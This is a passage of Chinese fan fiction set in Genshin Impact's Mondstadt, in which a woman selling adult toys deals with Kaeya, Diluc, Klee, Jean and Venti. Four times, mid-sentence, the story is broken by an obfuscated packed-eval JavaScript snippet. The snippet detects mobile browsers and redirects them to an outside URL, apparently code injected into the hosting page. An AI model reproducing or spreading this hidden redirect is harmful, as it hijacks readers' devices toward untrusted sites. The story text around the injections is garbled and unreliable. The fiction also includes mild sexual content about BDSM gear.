“上次？”青棠终于插上了话，并且敏锐地捕捉到关键词。 不知道是不是她的错觉，凯亚脸色微变，气势瞬间弱了几分。 前面就是推车停留的地方，车头扎在泥地里，车轮四脚朝天，绳子松散地堆在凹槽，木箱被掀翻在四面八方，一地狼藉。 凯亚把滚落在地的箱子搬起来，生硬地转移话题：“时候不早了，赶快收工回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473491|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去休息。” 青棠正纳闷呢，怎么就休息了，不是说还要请她喝酒吗？ 旁边迪卢克忽然喃喃自语，补完了下半句话：“我也不想大清早打开门，就发现有人蹲在我的卧室门口，抱着膝盖发抖……” 凯亚动作一顿，手里的绳子滑了一下，刚固定好的木箱又溜了下来，摔出“砰”的一声。 “哎呀，抱歉啦。” 眼眸中的慌乱转瞬即逝，很快又恢复原样，凯亚干笑着说：“迪卢克老爷，来帮帮忙吧。” 迪卢克瞥他一眼，沉默地走过去，接过他手中泥泞的绳子。 青棠茫然地站在旁边当甩手掌柜，感觉自己像局外人。 她觉得自己应该过去帮忙，哪怕只是做拉拉队，但是…… “松手。” “这里打结。” “左手抬起来。” 这两人之间像是有个闭合的磁场，每个动作，每个眼神，每句话，都有无形的暗流在涌动。 凯亚过来之前，大概真的在酒馆喝了不少酒，这会儿酒劲上来了，耳根都被熏出了红意。 迪卢克垂着眼，默默从他手中接过绳结系紧，没有发现他的异样，也没做多余的表情，但一举一动却透着轻松愉悦。 箱子搬到一半，凯亚挽起来的袖口滑了下去，眼看就要蹭上一层灰。迪卢克立刻丢下绳子，摘掉手套，用干净的手握住他的手腕，给他把袖口折了上去。 青棠轻轻嘶了声，直觉告诉她，还是别过去比较好。 再次回到蒙德城，已经是深夜了。大街上万籁俱静，连风都是温柔的。沿街纷纷关着门，只有零星几家酒馆和旅馆亮着灯。 两人把青棠送到她的住处。 这里是蒙德规格最高的旅馆，每个房间都有百来平，一应生活用品俱全，类似现代的小公寓。 青棠打开客厅的窗户，一阵清凉的风霎时吹了进来。 凯亚把箱子分门别类地摞在墙角，见她站在窗边，就走过来指着不远处城堡似的建筑，说道：“那是骑士团的总部，遇到任何问题，尽管过来找我。” 说完，又指向对面的街道：“我家就在隔壁那条街。” 这时，迪卢克也走了过来，朝着相反的方向扬了扬下巴：“那边最大的酒馆就是天使的馈赠，虽然我建议你喝葡萄汁，但偶尔我担任酒保的时候，也可以为你调一杯不太烈的蒲公英酒。” 这话一出，凯亚顿时嗤笑出声：“哈，葡萄汁直接拿来喝，迪卢克老爷还是这么不懂浪漫。” “比起酒精，葡萄汁的优势在于，第二天不会有酒保来告诉我，某位骑兵队长昨晚醉在酒馆走不动路。”迪卢克说。 凯亚：“我可没有给别人添麻烦的习惯。” 迪卢克：“是吗……” “好了好了——” 眼看着这两人有吵到天亮的趋势，青棠连忙见缝插针地打断他们，无比诚恳地道了谢，然后礼貌送走两位大佬。 关上门的瞬间，脑海里盘旋了一路的问题再也压不住了。 你俩是不是有点暧昧了？ 18.第 18 章 翌日清晨，金晖攀上西风大教堂哥特式的塔尖，将整座蒙德城裹进温暖明媚的金色图景。 旅馆的木窗被人从里面推开，青棠趴在窗棂上，深深嗅了嗅面包房里飘出的焦糖香味。 对面的阳台开满了五彩缤纷的花，挽着长发的女主人浇完最后两盆风车菊，放下水壶，双手合十，轻声祷告：“愿风神护佑。” 蒙德的风霜雨露都在风神的掌控之下，气候舒适到几乎家家户户都乐意养花，即便是没人在意的墙角缝隙，也时常会自动冒出几簇白白胖胖的慕风蘑菇。 从街道穿行而过，就像是走在浓墨重彩的油画里。 此时，油画尽头，一个身材高挑的人停下脚步，若有所感地抬起头，恰好与青棠对上视线。 下一秒，小麦色的脸庞上绽开一个粲然笑容：“亲爱的女士，昨天晚上睡得好吗？” “好极了！”青棠也跟着笑了，闻到空中飘来的香甜味道，她望向对方手里的包装袋，眼神瞬间明亮了，“这是给我的早餐吗？” “当然。”凯亚笑道。 话音落下，窗口便没了人影。 青棠收起懒洋洋的表情，以最快的速度跑到浴室洗漱，充分发挥了干饭人的主观能动性。 凯亚就坐在旅馆门口的遮阳伞下，见她出来，立刻把手里的东西推到她面前，同时介绍道：“猎鹿人餐厅的烤松饼。” 这松饼一看就是刚出炉的，捧在手里还有一股热乎气儿。 青棠拆开油纸包，一口咬开酥皮，奶香就混着融化的黄油满溢在齿间，从舌尖甜到喉口。 “好次！”她眯起眼睛，舔了舔唇角沾上的蜂蜜，觉得这样安逸的早晨就该搭配暖烘烘的甜点。 凯亚哈哈大笑，相当满意地说道：“我就知道你会喜欢。” “嗯？”青棠咽下嘴里的食物，好奇地问，“你怎么知道的？” 凯亚挑眉，晃了晃另一个包装袋，语调带着一丝得意：“因为小可莉也很喜欢，我想可爱的女士口味总是相同的。” 这是什么怪理论？ 青棠知道他的甜言蜜语张口就来，倒也没有反驳，只是问道：“所以这份是给可莉的吗？” “是啊。”凯亚说，“我们的火花骑士，现在还被关在禁闭室呢。” “噗。”青棠没忍住笑出了声，怎么说呢，真是完全不意外呢。 西风骑士团的火花骑士是个热衷炸鱼的小女孩，在这个冷兵器纵横的时代，只有她掌握了毁天灭地的热武器，分分钟把地脉炸穿。 前提是，如果不被琴团长的禁闭室封印的话。 试问哪个原神玩家的BOX里没有一只仓管小女鹅呢，青棠可太期待见到真实的可莉了。 她匆匆咽下最后的烤松饼，拉起凯亚就走：“快快，正好我也要去骑士团，别让她久等了。” …… 西风骑士团的总部坐落在蒙德城的高处，灰白的石墙被岁月磨得光滑，在阳光下泛出冷光，拱门两旁雕刻着威严的风鹰徽记。 守门的卫兵认识凯亚，直接省去了盘查的环节，行过礼后便一左一右为他们推开大门。 青棠还在跟凯亚讨论蒙德风俗，刚踏进门槛，还没看清室内的装潢，迎面就冲过来一道红色小旋风，炮仗似的撞了她一个人仰马翻。 “哎哟——” 两道惊呼异口同声地响起。 青棠一连退了好几步，感觉肋骨像是被人打了一拳，刚吃的早餐差点吐出来，抬起头正想抱怨一句“谁家熊孩子”—— 就见一个穿着红色蛋糕裙的小女孩摔倒在地，双手捂着额头，眯着一只眼睛，呜了一声。 镶着蝴蝶结和火系神之眼的宽边巫师帽摔出去老远。 坏了，怎么是自家熊孩子。 青棠顿时顾不上疼了，连忙走过去，蹲在她面前，放轻了声音问道：“可莉，你没事吧？” “没事……”可莉揉了揉脑袋，抬起头，尖尖的精灵耳朵动了动，“漂亮姐姐，你认识我吗？” “认识呀。”青棠弯起眼睛。 糊弄大人还有点难度，糊弄小孩她是不假思索了：“我看过艾莉丝女士的《提瓦特游览指南》，赠品就是可莉和小伙伴的故事集《出发吧嘟嘟可》噢。” “哇！”可莉睁大眼睛，眼神里蹦出星星，“是妈妈的书迷！” “也是小可莉的书迷。”青棠把她扶起来，没忍住蠢蠢欲动的手，伸出魔爪捏了捏她的脸。 啊，好软，原生圆满了。 这时，凯亚也把可莉的帽子捡了回来，一边给她戴好，一边把热气腾腾的烤松饼递给她。 “可莉先自己玩一会儿，等我把这个姐姐送到琴团长那里，就出来送你回家，好不好？” “好。”可莉拖着调子答应了。 看到可莉抱着嘟嘟可，乖乖地坐到椅子上吃烤松饼，青棠心都萌化了：“她很听你的话嘛。” “她妈妈长年在外游历，哥哥也经常住在实验室，跟我待在一起的时间比较多啦。”凯亚一边解释，一边走到了某间办公室前。 木门被敲响，门内立刻传来沉稳的一声：“请进。” 凯亚推开大门，青棠跟在他身后。见到他俩，办公桌后的人立刻放下手中的笔，站起身来迎接：“这位就是青棠小姐吧。” “您好，琴团长。”青棠笑着跟她握手，余光瞟到桌上堆积如山的文件，又想起某个摸鱼的风神，心想代理团长真不容易啊。 “不必这么见外，叫我琴就好了，请坐吧。”琴语速不快，气质沉稳却没有那种上位者的压迫感，反而让人感觉十分亲切。 “那么，我的任务就完成了。”凯亚站在门口，手里握着把手，“我去送小可莉回家。” 大门被轻轻关上，青棠坐在沙发，接过琴递来的水杯。 虽然早就知道她是个认真又细心的人，但真的坐在这个办公室里，青棠还是被小小地震撼了一下。 地板一尘不染，文件井井有条，书柜里的书分门别类，按照高矮顺序规整地排列，打眼望去宛如Wifi，对强迫症非常友好。 “凝光小姐跟我通过信件了。作为西风骑士团的代理团长，我很期待青棠小姐研发的玩具引进蒙德。实不相瞒，现在蒙德的医疗体系过于依赖西风大教堂，而我们的修女人数是有限的……” ……啥？！ 琴的话把青棠的注意力拉了回来，她愣在原地，过了五秒才反应过来她的意思。 原来凝光和琴联系的时候，是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485073|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把当成医药代表来介绍的？！ 这不能说一模一样，只能说八竿子打不着吧。 青棠开始怀疑璃月富婆是不是在坑她了，但琴的表情却很正经，她也只好硬着头皮接话： “嗯……我也希望大家的合作能达成双赢的局面。不过我对蒙德的商业现状还不太了解，需要先小范围试点，琴团长有推荐的地方吗？” 就像当初在不卜庐发放安全套那样，事实证明由点到面的路径很成功，既能用最小的成本调研市场风向，又能快速积攒口碑。 “小范围试点吗？“琴沉吟片刻，“最近倒是有个机会。” 青棠：“愿闻其详。” “过几天就是蒙德的佳酿节，这是庆祝丰收迎接风神的节日，按照惯例，大家会在清泉镇的果酒湖畔设立美酒集市，交换陈酿和物资，我可以为你预留摊位。” “这个好哇！”青棠眼神一亮。 她还记得佳酿节就类似现代的中秋节，对于蒙德人意义非凡，到时候许多漂泊在外的游子都会回归故乡，人流量肯定很大。 游戏里的佳酿节，她作为旅行者制作和出售香氛，获得了不错的反响。正好这次她从璃月带来了不少香膏，可以趁此机会试探市场，再制定之后的营销策略。 “那就这么说定了。”琴说道，“恕我平日里事务繁忙无法相陪，青棠小姐在蒙德的这段时间，就由凯亚担任导游吧。有任何需要，西风骑士团都会全力相助。” 青棠道了谢，又聊了两句客套话，就有卫兵敲门，要进来汇报工作了，于是她便礼貌告辞。 从西风骑士团出来，太阳已经高悬头顶，一阵微风送来清凉的惬意和隐约的乐声。 青棠站在门口，静静地聆听了一会儿，嘴角不自觉地露出了一抹笑意——这个嗓音，有点耳熟啊。 循着风，她走到了教堂广场。 巍峨的西风大教堂伫立在蔚蓝的天穹之下，与门前广场中央的大号风神像相得益彰。 阳光漫过风神的肩膀，倾泻在神像下方站立的少年身上。 少年眼眸微阖，双手抱着竖琴，帽檐缀着塞西莉亚花编织的装饰，两根发辫被气流掀起，翠绿色的斗篷随着动作扬起细碎的光尘。 他拨动琴弦，轻轻吟唱： 他携着千年的诗篇而来， 在风起地，在摘星崖， 种下蒲公英的独白。 歌声很轻，很轻—— 足够在每粒飘散的种子里， 藏进七个不同旋律的黎明。 …… 一曲完毕，围观的群众纷纷为这位吟游诗人的表演鼓起了掌。 少年弯腰行礼，然后起身收起竖琴，清澈的目光在人群中转了一圈，最后锁定在青棠的身上。 青棠还沉浸在方才的歌声里，回过神时，就见对方走到她的面前，歪着脑袋笑了一下。 “这位小姐有些陌生呢，是从璃月来的客人吗？我知道一家环境不错的酒馆，不妨请我喝酒吧。” 青棠：“？？？” 虽然说三神掏不出一摩拉是公认的事实，但好歹她在璃月还蹭过钟离几顿饭呢，怎么到了蒙德，一上来就是要她请喝酒了？！ 高下立判啊，巴巴托斯！ 19.第 19 章 猎鹿人餐厅。 “原来青老板是胡堂主的朋友啊，怪不得有熟悉的气息。” 温迪眯起眼睛，咽下嘴里的蜜酱胡萝卜煎肉，随即五官舒展，露出了万分满足的表情。 一口火火肉酱面如鲠在喉，青棠暗自叹了口气，觉得自己好像不小心就被这人忽悠傻了。 先给她青天白日就去酒馆厮混的离谱选项，逼迫她下意识地拒绝，然后主动说出该吃午餐了。 于是，对面这位不干正事的风神，就这样混到了一顿大餐，并且一杯接一杯地喝着苹果酿。 就在温迪第N次朝着莎拉老板挥手，企图再点一杯苹果酿的时候，青棠终于忍无可忍了。 她盯着面前大快朵颐的吟游诗人，幽幽地说道：“温迪阁下是不是应该礼尚往来啊？” “嗯？”温迪放下酒杯，似乎在白嫖中凭空生出了些许良心，“那你希望我为你做些什么呢？” 他想了想，提议道：“把你写进我的新歌里，怎么样？” 当然不行。 看着他状似无辜的眼神，青棠更恼火了，挑眉道：“你来做我的人体模特吧，怎么样？” “哎呀，我的形象和青老板的小玩具也太不相符了吧，被骑士团发现的话三年起步哟。” 温迪撇着眉毛，假装委屈地鼓起脸颊，整个人就像是个撒娇讨糖吃的小孩子，任谁来都想不到这是活了六千年的风神。 青棠磨了磨牙，买酒的时候再三跟她强调自己的年纪喝酒合法，现在想装自己是未成年？ 那必不能让他得逞。 青棠微笑道：“没关系，我研究过了，你可以COS成风神。” 束胸披风，低腰短裤，白色丝袜，赤裸的小腹再描上风神纹，浸透了汗水就会亮起来。 神装巴巴托斯简直就是完美的小玩具展览架。 温迪：“……” 场面陷入了一丝沉默，温迪谨慎地往后退了一点距离，椅子在地上划出“刺啦”一声。 他忍不住开始怀疑，对面的小姑娘是不是看透了他的身份。 但是没道理呀，身为风精灵，他对气息十分敏感，连世界之外的降临者都能准确感知到。 他确定坐在他面前的就是一个没有神之眼的普通人类，再回想对方进城之后的一举一动，也没有知情人士向她透露过什么。 可是偏偏……对方看着他的眼神如此兴趣盎然，就好像真的见过他穿上神装的模样。 温迪有点汗流浃背了：“这种邪恶的想法等于渎神，可是会被西风教会制裁的喔。” 青棠心想那咋啦，西风教会连风神本人都制裁过呢。 她决定将恶贯满盈的形象贯彻到底，于是满不在乎地说道：“那我画完就拿去其他国家卖好了，蒙德禁书很有噱头吧。” 温迪终于意识到，这顿饭的成本比他想象中还要高。 对面的小姑娘真是半点亏也不肯吃，他不禁有些好奇了—— 既然老爷子就住在她隔壁，怎么摩拉克斯没有遭此毒手？ 就在他搜肠刮肚的时候，一个突然出现的人拯救了僵持的氛围。 “原来你们在这里啊。” 见到来人，温迪“蹭”地站了起来，迅速抄起没喝完的苹果酿。 “凯亚队长，你们慢慢聊吧，我还有事就先告辞了。” 说完就脚底抹油地开溜了。 速度太快，以至于凯亚只看到了绿色的背影消失在街角，扭过头时神情还很疑惑。 青棠托着下巴，解释道：“他再不走就要被我全球通缉了。” “逃跑都要带上苹果酿吗？”凯亚叹服，“如果他喜欢午后之死的话，我倒是不介意多个酒友呢。” 青棠：“……” 这是什么值得欣赏的事吗？ 和温迪拉扯了半天，饭菜差不多都凉了，青棠正想再点两道菜，凯亚却伸手按住了菜单。 “我在晨曦酒庄吃过了。”凯亚解释道，“这个给你。” 青棠：“？” 你不是送可莉回家吗？怎么送到晨曦酒庄了？阿贝多知道吗？ 一连串问题还没问出口，先被凯亚递过来的东西吸引了目光，她接起一看，居然是晚宴邀请函。 烫金的纸上印着优雅的笔迹，落款是迪卢克·莱艮芬德。 “这是？” “这是莱艮芬德家族的传统，在佳酿节到来之际，提前启封去年埋藏的好酒，为了挑选出最受欢迎的酒品送到美酒集市。” 听到这话，青棠很是敬佩，这么费心地规划节日经济，这摩拉就该迪卢克老爷赚啊。 但她转而又想起另外的问题：“为什么邀请我？” 凯亚笑道：“我想你既然是来蒙德城做生意，那么以后免不了跟这些家族打交道吧。” 青棠懂了，这就是上流社会的豪门聚会，狗血八卦的发源地！ 凯亚问：“你想去吗？” “去，当然得去！”青棠瞬间来了精神，感觉自己手里拿着的不是晚宴邀请函，而是霸道总裁爱上我的玛丽苏小说合订本。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494562|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我要准备什么吗？”她摩拳擦掌，“验毒银针？浓硫酸？亲子鉴定报告？还是春药？” 凯亚：“…………？” 你对自己到底是个什么定位？ …… 晚宴当天，傍晚时分，青棠乘坐马车来到晨曦酒庄。 这座酒庄坐落在苍风高地的最南面，紧邻着大片的葡萄园。 此时，庄园的空地前已经停驻了不少马车，露台上几个华冠丽服的贵族正在品酒赏景。 一个穿着绑带斜领裙的女孩摘下礼帽，抬头望向高原的落日，霞光瑰丽绚烂，映照着她海藻般的头发和甜美的笑容。 下一秒，一个绅士打扮的中年男人却把她拉了回去，勒令她把帽子戴回去，保持好淑女形象。 青棠隐约听到了沉闷的训斥声，夹杂着“规矩”“联姻”等字眼。 她抬头扫了一眼，心想这可真是违背祖宗的话啊，温妮莎见到这种封建余孽都得气活了吧？ 但那男人很快走到了纱帘后，只留下了冷漠的背影。 青棠也只好撇了撇嘴，忍住口吐芬芳的冲动，跟着侍者进了屋。 屋里就是另一个世界了。 水晶吊灯高悬，折射出璀璨的光芒，照亮了铺着深红天鹅绒桌布的长桌，在镀金餐具上闪烁跳跃。 蒙德的贵族们身着华服，绸缎与宝石在灯光下熠熠生辉，男士们礼服笔挺，女士们的裙摆如同花瓣般轻盈摇曳。 吟游诗人弹奏着轻快的乐曲，旋律如溪流般流淌在大厅里，偶尔有人随着节奏轻晃酒杯，或是低声交谈。 青棠进门之后，窃窃的私语声停顿了一瞬，数道视线有意无意地扫视到她身上，一下子让她感觉到有些不真实。 印象里，晨曦酒庄走的是古典派装修风格，很明显现在的奢靡风是为了宴会专门装饰过的。 看着面前各自佩戴着家徽的陌生面孔，和同样陌生的环境，青棠i人属性发作，后知后觉地感到了局促。 就在她犹豫着要不要蹭到角落，安安静静吃小蛋糕的时候，人群里突然传来一声：“青老板。” 循声望去，就见到凯亚端着酒杯，站在一个五彩斑斓的花瓶旁边，一身深蓝燕尾服挺括出挑，衬得他的脸越发有种迷人的魅力。 “啊。”青棠松了口气，这个屋子里还是有她熟悉的东西嘛。 比如这个乾隆审美的花瓶，喷着大红大紫的彩漆，却被摆放在整个大厅里最显眼的位置，一直没有挪过窝，就是凯亚送的。 丑得格格不入，令人安心。 20.第 20 章 “贵安，青棠小姐，迪卢克老爷邀请您上楼一叙。”女仆长爱德琳轻按裙摆，低头行了一礼。 “他想干嘛？”青棠瞬间警惕。 这个流程她太熟悉了啊—— 宴会开始之前被话事人单独喊过去，然后告诉她咱们这个活动表面上其乐融融，实际上暗流涌动，需要进行一个420原石的交易，请她来抓住幕后黑手。 这不就是旅行者的日常吗？ 以前她左手风涡轮，右手雷影剑，一跺脚就能平地起荒星，编队住着满练大C，整个提瓦特横着走，顺手解决几个委托轻轻松松。 但现在她只是个普通人啊。 好不容易生意有了点起色，万一路遇黑衣组织，拼尽全力被一棍子敲晕喂药一夜回到解放前，那岂不是功亏一篑？！ 或许是她的表情太过惊恐，爱德琳神情复杂地看着她，似乎很想解释自己不是人贩子。 场面一时有些尴尬，凯亚没绷住，突然笑了一声：“别担心，他只是想跟你谈谈生意的事。” 青棠变脸如翻书：“哦？迪卢克老爷要承包下个季度的订单吗？那他把我卖了也没事。” 来到二楼，宴会的喧闹就渐渐远了，青棠踩着厚厚的地毯，寂静的走廊里只剩下细微的沙沙声。 墙壁两侧的挂画记录了莱艮芬德家族辉煌的历史，曾经人丁兴旺的血脉传到前代庄主克利普斯这一代，却只生下了迪卢克一个孩子。 晨曦酒庄家大业大，穿过走廊拐个弯，前厅的热闹就彻底听不到了。站在书房面前，青棠忽然没来由地想到，迪卢克平时一个人住在这里，会觉得孤独吗？ 不过这个问题只在脑海里一闪而逝，书房的门就被爱德琳敲响了，她语气恭敬地说道：“迪卢克老爷，青棠小姐到了。” “进来吧。” 得到应允，女仆长轻轻推开大门，旋即做出邀请的姿势。 迪卢克正站在落地镜前系领带，深灰色的礼服裹住他挺拔的身躯，每寸肌肉线条都顺服地收敛着，连喉结起伏的弧度都透着克制。 青棠坐到沙发上，接过爱德琳递来的茶水，笑嘻嘻地说：“迪卢克老爷，今天很帅嘛！” “在我这里，无意义的寒暄并不能提高谈判成功率。” 迪卢克打理好领带，再次看了一眼镜子，似乎觉得满意了，便走到她对面坐下，然后面无表情地给爱德琳打了一个手势。 女仆长会意，将茶壶搁到保温的炉子上，随后轻手轻脚地为两人关好门，自己守在门口。 “话不能这么说。”青棠往后一靠，“长得好看也是一种资源，只是迪卢克老爷用不到而已。” 商业谈判的门道太多了，相貌、金钱、爱好……什么都能成为筹码，青棠也是最近才开始琢磨。 她不动声色地打量了下屋内的陈设，觉得这个房间就比较符合她对晨曦酒庄的印象了。 地板和家具都是低调的胡桃木，除了落地镜没有多余的装饰，宽大的书桌上整齐摆放着黄铜台灯、墨水瓶和几支钢笔。 文件堆旁有个不起眼的相框。 青棠眯起眼睛，看清了那是一张三人照，正中间身材高大的男人与迪卢克的长相有八分相似，男人的右手边是缩小版的迪卢克，而左手边的另一个小男孩…… 居然是凯亚。 为什么把这么私密的照片放在公共会客室？ 青棠还没想出所以然，迪卢克就开口把她的注意力拉了回来：“那么先介绍你的商品吧。” 说实话，对着迪卢克这张冷淡的脸，要讨论些激动人心的黄色废料还是很有压力的。 好在青棠的信念感足够坚定，愣是叭叭出了“小玩具是人类迈向自由的阶梯”这种话。 迪卢克沉默地听完，没有评价，只是面不改色地问道：“你是说你带来了很多新款香膏？” 青棠：“对。” 迪卢克微一点头：“那么我愿意订购一批香膏，作为酿酒的辅助材料。至于其他的，就不必了。” 青棠：“？” 敢情刚才的饼白画了？！ “不行！”她放下茶杯，义正言辞地说道，“联动商品就是明牌捆绑营销，不支持拆分售卖！” 否则她当年为了社死之翼吃的那么多顿KFC算什么？！ “很遗憾。”迪卢克冷声道，“还没有人能对我强买强卖。” 一谈到钱，青棠气势如虹，说话也不虚了：“哼，我拿到的是春香窑独家联名权，你不买我的玩具，就算是找到莺儿小姐，也买不到单独的联动香膏！” 迪卢克看着她寸步不让的样子，眉头微不可察地皱了皱。 房间里霎时安静下来。 青棠一直注意着他的动作，见对方的表情有松动的迹象，她立刻从包里掏出一个小盒子递过去：“我送你一套体验装，你先试试嘛！买不了吃亏买不了上当！” 迪卢克将信将疑地打开盒盖，只看了一眼，瞳孔便倏然收缩，忍不住倒吸了一口凉气。 只见那里面装着一小盒香膏、一对夹子、一条鞭子、一根蜡烛，还有一副手铐。 青棠揣摩着他的神情，开始恶魔低语：“迪卢克老爷也可以做分销商啊，听说贵族都有点不为人知的癖好，囚禁Play什么的……” “让他依赖着你，渴望着你，除了你眼里再也没有别人，做什么都要经过你的允许……” “够了。”迪卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508372|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克猛地扣上盖子，又把它远远地丢到茶几上，仿佛那是潘多拉的魔盒。 “砰”的一声，青棠吓了一跳，差点被飞溅的茶水烫到。 她说错话了吗？难道蒙德的贵族格外正直，和小说里上流社会的糜烂生活不搭边？ 但迪卢克这个隐忍的表情又是什么情况啊？！ 对方眉头微微压着，嘴角绷成直线，过了许久才无声地滚动了下喉结，嗓音沉哑道：“我答应你，但我要削减订单数量。” “……你说了算。”青棠咽了咽口水，也不敢讨价还价了。 谈完生意，宴会还在继续。 青棠出门后，终于找到机会探究刚才没想通的问题。 她没提迪卢克忽然发火的事，只是问爱德琳：“书桌上的照片是迪卢克老爷小时候吗？” “是的。”爱德琳点头道，“自从迪卢克老爷回到蒙德，那张照片就放在他的书桌上了。” 那还真是够久的。 迪卢克的父亲离世后，他就出发去游历七国了，四年后才回到蒙德。如果从那时开始算起，到现在也有几年的光景了吧？ 青棠：“他和凯亚的关系也没有那么僵硬嘛，连缅怀父亲的照片都选了他们的合照。” 还让每个来客都能看到，生怕别人不知道他俩是兄弟。 说起这个话题，爱德琳深深地叹了口气，仿佛有些话憋在心里很久了，不吐不快。 “凯亚少爷偶尔会回家用餐，但……还是很拘谨。” 青棠眨了眨眼睛，想象不出凯亚拘谨的样子。 不过爱德琳没有发现她的微表情，自顾自地说道：“其实他不用这样的。我能感觉到，每次他回来，迪卢克老爷都很高兴的。” 青棠撇了撇嘴，同样想象不出迪卢克高兴的样子……大概就是嘴角上扬了三个像素点？ 她在楼梯口停步，视线扫过楼下衣香鬓影的人群。 凯亚站在香槟塔旁边，正和一个打扮娇俏的小女生聊天。 不知道两人说了什么，对方被他逗得掩唇轻笑，弯起的眼睛里一闪一闪满是小星星。 这还没完，另一边又有一位贵妇人走过来跟他交谈。 他动作自然地端起一杯酒，跟对方碰了一下杯，也是两三句话就哄得对方露出了慈爱的笑容。 蒙德的贵族对于血统没有太深的偏见，亲生孩子和捡来的孩子是什么地位，主要看家主的态度。 青棠看着凯亚身为克利普斯·莱艮芬德的义子，却在名门贵女之间从容周旋的模样。 再联想到迪卢克毫不避讳的照片，瞬间醍醐灌顶—— 自从父亲去世之后，迪卢克就尽力在保护他这个义弟了啊。 21.第 21 章 察觉到头顶的视线，凯亚低声对面前的人说了句失陪，然后放下酒杯，款步走了过来。 “生意谈得顺利吗？” 青棠还站在最后两级台阶上，凯亚抬头望过来时，璀璨的灯光就落在他的眼睛里。 他的瞳孔是罕见的菱形，周围包裹着深邃的蓝色，像原石，又像沉入海底的星星。 以前，原神社区有一句广为流传的话——凯亚的眼睛使他的蓝宝石耳坠都变得廉价，一颦一笑都带着一种天然的妩媚。 这种媚而不自知的眼瞳，就是坎瑞亚人的标志。 “怎么，看得入迷了吗？”见青棠许久没动弹，凯亚忽然笑了声，抬起手打了个响指。 “是呀。”青棠回过神，随口道，“你今天很帅呀。” 凯亚一秒拆穿：“这话你不会跟迪卢克老爷也说了一遍吧。” “嗨呀！“敷衍被当场逮捕，青棠摸了摸鼻子，半点也不心虚，果断转移话题，“我饿了。” 除了美酒，宴会自然也准备了不少餐品。爱德琳的周到和体贴在食物上展露无遗，餐盘里大多是不会弄花妆容的小糕点。 青棠取了些鲜虾脆薯，坐到休息区开始干饭。刚吃两口，吟游诗人拨弹的旋律就变了调。 整个会场顿时安静下来，所有人默契地扭过头望向楼梯口。 迪卢克扶梯而下的姿态带着几分慵懒，手指不经意掠过金属扶手，纹着家徽的戒指就在顶灯下折射出了细碎的银光。 西装笔挺的贵公子在大厅中央站定，气场优雅，嗓音沉稳：“佳酿节在即，今晚诸位贵客前来，令晨曦酒庄蓬荜生辉。” 他轻执酒杯，环视宾客。即使说着社交场合必不可少的客套话，脸上的表情依然单调。 寥寥数语之后，他便倾身致意，以一句“请诸位尽兴”作为收尾。 在场众人纷纷举杯。 青棠匆匆咽下嘴里的薯饼，随手端起一杯酒，也跟着喝了一口。 之后的舞会基本就跟她无关了，经过二十年如一日的宅女生活磋磨，她深知自己四肢不勤五谷不分，跳个广播体操都费劲，更别提正儿八经的华尔兹了。 正好现场也没有人会邀请她这个陌生人跳舞。 她乐得清闲，舒服地窝在沙发里，一边吃着小蛋糕，一边欣赏着俊男靓女|优美的舞姿。 可惜总有贴心的人喜欢在社交场合上拔蘑菇。 两支舞曲过后，凯亚踩着轻盈的舞步，微微躬身，一只手伸到她面前，微笑道：“这位女士，可否邀请你跳一支舞呢？” 青棠：“嗝。” 凯亚：“……” “噗。”凯亚绷着的那口气倏地散了，不太有形象地笑了声。 青棠：“饿了么？” 凯亚笑着摇头，在下一首舞曲响起前坐到她身边，端起酒杯浅酌一口，然后长舒了一口气：“真羡慕不用社交的人啊。” “我还以为你喜欢跳舞呢。”青棠朝着某处扬了扬下巴，“我看迪卢克没跳啊，你也可以吧。” 凯亚顺着她的目光看过去，摇头道：“他跟我不同。” 迪卢克身边始终围着一圈人，这些人好似跟他有说不完的话，送走一茬又来一茬。 “如果哪位淑女邀请到迪卢克老爷跳舞，那么今晚她就会成为全场的焦点。每个家族都不愿意看到这种好事发生在其他人身上，所以他们在互相制衡。” 说着，又有一位妇人挽着一个女孩凑到了迪卢克面前，刚说了两句话，就被后面的人挤到旁边。 青棠看到迪卢克像是习惯了这种场面，神色冷淡地应付着各路人马，拒绝得很体面。 她居然还看到了熟面孔。 